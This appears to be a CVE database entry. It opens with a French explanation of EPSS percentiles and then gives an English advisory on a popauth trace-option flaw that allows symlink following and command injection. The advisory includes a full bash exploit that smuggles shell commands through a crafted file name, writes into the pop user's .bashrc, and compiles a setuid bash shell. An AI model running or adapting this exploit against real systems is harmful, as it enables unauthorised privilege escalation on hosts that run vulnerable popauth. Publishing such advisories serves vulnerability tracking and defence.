Le percentile est utilisé pour classer les CVE en fonction de leur score EPSS. Par exemple, une CVE dans le 95e percentile selon son score EPSS est plus susceptible d'être exploitée que 95 % des autres CVE. Ainsi, le percentile sert à comparer le score EPSS d'une CVE par rapport à d'autres CVE.

When popauth is executed with the trace option, it does not correctly handle user-supplied input. A user can supply data to the popauth program through the trace flag which will cause the program to execute shell commands, and follow symbolic links. This problem could be exploited to gain privilege elevation equal to that of the setuid bit on popauth, typically setuid as the pop user. #!/bin/bash # popauth symlink follow vuln by IhaQueR # this will create .bashrc for user pop # and ~pop/sup suid shell FILE=$(perl -e 'print "/tmp/blah1\"\ncd ~\necho >blah.c \"#include <stdio.h>\nmain(){setreuid(geteuid(),getuid());execlp(\\\"bash\\\", \\\"bash\\\",NULL);}\"\ngcc blah.c -o sup\nchmod u+s sup\necho done\n\n\""') ln -s /var/lib/pop/.bashrc "$FILE" /usr/sbin/popauth -trace "$FILE"
